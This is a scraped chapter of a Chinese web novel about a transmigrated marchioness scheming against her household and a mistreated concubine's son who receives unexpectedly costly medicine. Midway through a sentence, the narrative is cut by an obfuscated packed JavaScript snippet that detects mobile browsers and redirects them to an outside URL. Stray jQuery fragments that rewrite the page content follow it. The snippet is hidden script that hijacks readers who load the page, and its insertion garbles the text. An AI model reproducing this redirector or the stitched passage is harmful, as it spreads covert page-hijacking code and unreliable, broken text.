默认冷灰
24号文字
方正启体

3. 第3章 计谋

作者:蜜汁烤李本书字数:K更新时间:
    一时半会摸不着夫人的意思,但做下人的最重要的便是听话,主子怎么吩咐,她们便怎么做便是。


    屋内无一人敢开口,气氛迟缓粘稠,三个丫鬟均在脑内思索夫人的心思。


    而安素则是拿着药,前去那清玉轩。


    清玉轩。


    崔景辞看平儿换好衣服,拿了银钱出门。


    等到屋内无人时,他方才走过去打开匣子,细数里面的碎银。


    他的月例是2两,侯府不曾在月例上亏欠他,但作为庶子,尤其是被嫡子厌恶的庶子,在府内的刁难不可谓不少,而表现在最影响他的便是月例迟发。


    府内下人精得很,个个知晓府内日后谁才是真的主子,自然要在各方面讨主子欢心,所以对他的欺辱冷落便成了家常便饭。


    先前他特意透露出天资聪慧,让侯爷对他重视几分,这才能让他跟着入了国子监,同样的,这行为也惹得崔景昭不喜,觉得他心思不纯,刻意亲近父亲,不仅在国子监对他多有欺辱,到了家更是厉害。


    但这些欺辱相比于能去国子监压根算不了什么。


    只是......这些钱对于他来说还是捉襟见肘。


    按道理,笔墨纸砚府内给供,但在崔景昭的特意关注下,这些东西给他的份额都是最次的,纸薄得一戳就破,墨又淡又渣,压根没法用。


    他不得不从月例中拿钱去买好一些的笔墨纸砚,同时,这点月例还要负责打点同僚关系。


    ......本想多攒点银两以防意外,现如今竟是用到了这一莫须有的诬陷上了。


    正是沉默之际,院子里却先传来熟悉的声音。


    ......应当是平儿回来了。


    崔景辞合上匣子,等到走到门口,门恰好被平儿从外面推开。


    细细的雨丝往里刮,水汽微微弥漫。


    眼前是挑着灯,撑着伞,穿着体面讲究的两个丫鬟。


    崔景辞认出来这两人均是在颐安院当值的。


    其中那个拎着小盒子的更是侍奉主母身侧的一等丫鬟安素。


    崔景辞微楞。


    以往极少会有颐安院的人来他这里,就算有也是来一个小丫鬟打发他,哪里像今天一样,值得动用身边的贴身丫鬟?


    到底不是一般人,平儿还杵在一旁没开口,崔景辞先反应过来宋怀玉的意图。


    ——是怕他意外死了落个苛待庶子的名声?


    倒是让他意外,先前侯爷在的时候,不见宋怀玉有这番思量。


    思索间,安素带着规矩的笑柔柔道。


    “奴婢奉夫人之命,送些药材过来,二少爷还望好生休养。”


    平儿忙伸手接下盒子,而后便听安素继续说:“里面都是些好药,夫人是真心疼二少爷的。”


    安素这话略带深意,作为一句体面话并不突兀。


    崔景辞在心中冷笑——真心疼他就不会只听一面之词,也不会罚他在冷雨里跪一个时辰,不过是表面关心而已。


    但面上不显,托安素向夫人道谢。


    眼看二人走远,平儿关上门,又嘀嘀咕咕说着话,将先前他路上遇到两人的事抖了个干净。


    “少爷,我刚出院子,就在小路上和安素姑娘她们撞到了。


    她问我作何去,我说出门买药,之后她便说夫人让她过来送药,所以我们便一块回来了。


    也是奇怪,夫人竟然差了安素姑娘过来送东西!


    不过夫人既然给送了药,那还能省下来点银两呢!”


    平儿欢喜,崔景辞没说话,打开盒子去看里面的药。


    既然是府里主母送的,即便是敷衍打发,理应也是普通级别的药材。


    崔景辞自嘲一笑,的确如同平儿所说,能省点银两。


    等到彻底打开盒子,看着眼前淡青描金小瓷罐,崔景辞的手停顿下来。


    青釉润得像是浸过水,只在口沿细细的描了一圈金线,贵气而又克制。


    他略显迟疑地打开罐子,一掀开后,便能嗅到一股记忆中熟悉的药膏味。


    崔景辞不由地垂下眼帘,指尖发颤。


    ——相同的罐子,相同的味道。


    分明是一股清苦的药味,却让他有些想吐。


    他记得很清楚,崔景昭每次惹事生非后,那小厮拿出来给他抹药的罐子便和这一模一样,而等到那药膏散开味道后,味道也是一个味,不存在说是同样的罐子装不同的东西。


    所以为何她会将此物也额外送一份给自己?


    伴随而来的不是欢喜,茫然先席卷全身,而后便是一股失控的恐惧。


    她会这么好心?


    如今侯爷去了,崔景昭便是侯府的天,而对于胆敢残害嫡子的他,对方送他这么珍贵的药到底要做什么?


    崔景辞如今年幼,虽说能很好的忍耐欺辱,藏拙蛰伏,但对于超出他预想范围外的事情,他依旧理解不能。


    譬如先前只罚跪了他一个时辰,又譬如在罚跪后送来的这罐药膏,处处都透露出诡异。


    崔景辞紧蹙眉头,各种可能在他脑内飞过一遍。


    ——是觉得如今侯爷不在了,在将希望放在崔景昭身上的同时,决定拉拢他,日后为崔景昭所用?


    ——还是说她想从他身上要的更多?


    思绪繁杂异常,崔景辞的手放在那罐子上,半天没松开,眼内的阴郁浓厚的像是要凝结成实质。


    如今他虽说日子苦,但只要能熬一熬,熬到科考结束,他有信心能考出去,替自己赚取个好前程。


    先前那诬陷一事虽说他是无辜的,但被崔景昭欺辱,他也算有心理准备,但今日这送药一事,却打乱了他对未来的安排。


    平儿去拿那匣子下的祛风寒药包,一共是六副药,足够吃了。


    崔景辞顺手解开扎起来的小棉线绳,敞开口子,稍微扫视一眼其内的药材。


    比他预料能收到的药材好太多了。


    这种级别的东西不是作秀给送的,反而像是日后对他有所图。


    平儿本是高兴的,但看自家主子一副凝神屏气的严肃模样,他迟疑着开口:“......少爷,这药怎么了?有问题?”


    对于平儿来说,他只是觉得这药比冬天他在外面买的祛风寒药味道浓郁,应当是好药。


    但看主子一副凝重模样,便开始提心吊胆不敢用了。


    ——难不成这药有古怪?但这可是主母送来的,就算是有问题,也不会让自己的贴身丫鬟送来呀!


    崔景辞收回打量的目光,吩咐道:“无事。你先去煎药。”


    听到他这么说,平儿便放心了。


    自家主子不说别的,这脑袋瓜肯定是聪慧无比的,既然主子说能用,那他就安心用就是。


    平儿去厢房煎药,他抿唇,手指已然探入那小罐内,挖出一小块微黄的药膏,慢慢涂抹在自己的膝盖上,药膏触手微润,皮肤在轻微的刺痛后,紧随而来的便是一股热意慢慢传来。


    兵来将挡,水来土掩,若对方真对他有所图,虽说是一种潜在的危险,但又何尝不是一种机会?


    再退一步说,即便他拒绝使用这药,日后对方的计划并不会因为他的拒绝而落空,反而这送药倒是提前给他打了个预警。


    药膏吸收速度极快,在他思索的间隙,竟已吸收完毕,膝盖处皮肤呈现出一股温润的触感,和往日他涂抹的药膏带来的油膜感完全不同。


    ——这便是崔景昭一直用着的东西?果然是好东西。


    说实话,这对于他来说是一种新奇的体验,手指再次触碰到那处皮肤,这不同的肤感在提醒他记得要走的路,那条结局光明的路。


    颐安院夜半。


    宋怀玉其实睡得不太好,倒不是床硬,而是因为她认床。


    尤其是来到这陌生的地方,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420328|200813||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她的神经异常亢奋,处于一种翻来覆去睡不着的状态。


    外面守着的若熏已经问了一次她,被她敷衍过去,如今后半夜,若熏已经开始打盹。


    而此时,她则是反复在脑内将之前穿过来前曾经看到过的攻略回想一遍。


    目前的话,崔景辞这边暂且处理好了,之后她得想点办法,控制一下崔景昭的发展了。


    这种日后位及三相的存在,对她的败家绝对是个不小的打击。


    虽说这类天才很难被外界影响心态和日后的成就,但只要能将对方的成就往下拉一截,那起码他日后对侯府的看护便能少一分。


    联想到此次崔景昭落水事件,宋怀玉眼睛发亮,想到了她穿来后脑内的记忆。


    在崔景辞一开始跪着时,对方的小厮曾辩解过关于落水一事,说是大少爷自己没站稳跌了进去,并非自家少爷推的。


    而当时说出来的东西自然无人相信,于是就这样,崔景辞被迫跪着领罚,连带着说胡话的小厮也扣了月钱,跟着一起跪。


    作为崔景昭的生母很可能看不透这事,但作为外人的宋怀玉则是忍不住暗自吐槽。


    ——这纯粹低端宅斗啊。


    那崔景辞不过是个不受宠的庶子,遇到嫡子躲都来不及,又怎么敢推对方落水,而后又编造谎言?


    这做法蠢透了,除了会让他惹得主母不快外,可谓是百害而无一利。


    一般来说,这种阴暗宅斗的幕后主使往往都是受害者。


    于是,宋怀玉很轻易的就将注意力转移到了崔景昭身上。


    ......虽说日后嫡子能位及三相,但此刻,这表现倒不太符合她对于天才的刻板印象。


    压下心中淡淡的古怪,宋怀玉只当这嫡子是因为过往主母无限制的宠爱变得日渐顽劣。


    毕竟扪心自问,宋怀玉过往作为一个普通人,身边哪有机会和天才深入沟通交流啊!


    所以这很可能是天才的多面性。


    当然也存在一种可能,那便是日后崔景昭受挫后愤而改变,从此踏上宛如龙傲天一般的完美人生轨迹。


    宋怀玉是个能迅速哄好自己的人,那点古怪很快被她抛在脑后,单从这件事来论,对她来说完全利好啊!


    现在大概率崔景辞已经恨上了崔景昭,说不定连她这个青红不分的主母也一并恨上了。


    对于背刺侯府来说,这可是天然的好开局!


    而至于崔景昭这边,目前肯定是和她的关系很亲密。


    不过这关系太亲密也不好啊,按照崔景昭日后能到达的高度,这么高的好感度,恐怕她之后怎么作死对方都会捞她一把,这对于她败坏侯府来说是个非常大的隐患!


    暗自琢磨,宋怀玉心想,不管怎么样,这好感度是得往下刷一刷了。


    败家的精髓就是把该有的关爱给不该给的人,譬如日后背刺侯府的崔景辞,而非给日后能多次捞她,捞侯府的崔景昭。


    暗自定了日后的方针,宋怀玉也困倦了,这一睡,竟然睡到了第二日的巳时。


    等到她慢慢悠悠起床,被人伺候着洗漱后,宋怀玉坐在软凳上,任由安素给她梳头。


    这个时候,她就不得不感慨原著背景设计精巧了。


    这若是侯府里还有公婆,还有丈夫,她别想睡到这个点,估计卯时就得起来晨昏定省,如果不那么做的话,肯定很容易惹得夫家不满。


    如今如今府里的人只剩下她了,自然无人敢管她。


    也只有这种设定,才是完美的败家土壤啊!


    从此之后,她便是这侯府最高话事人,她想怎么做,下面的人就得跟着她的命令来做。


    安素正在细心的梳头,手法娴熟轻柔,按照她往日的喜好挽了个守寡期能梳的素心髻,又用一根素雅的玉簪子固定好,一旁的寻春站在她身侧,弯腰替她整理衣服,又问:“夫人今日还是要先去看哥儿?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)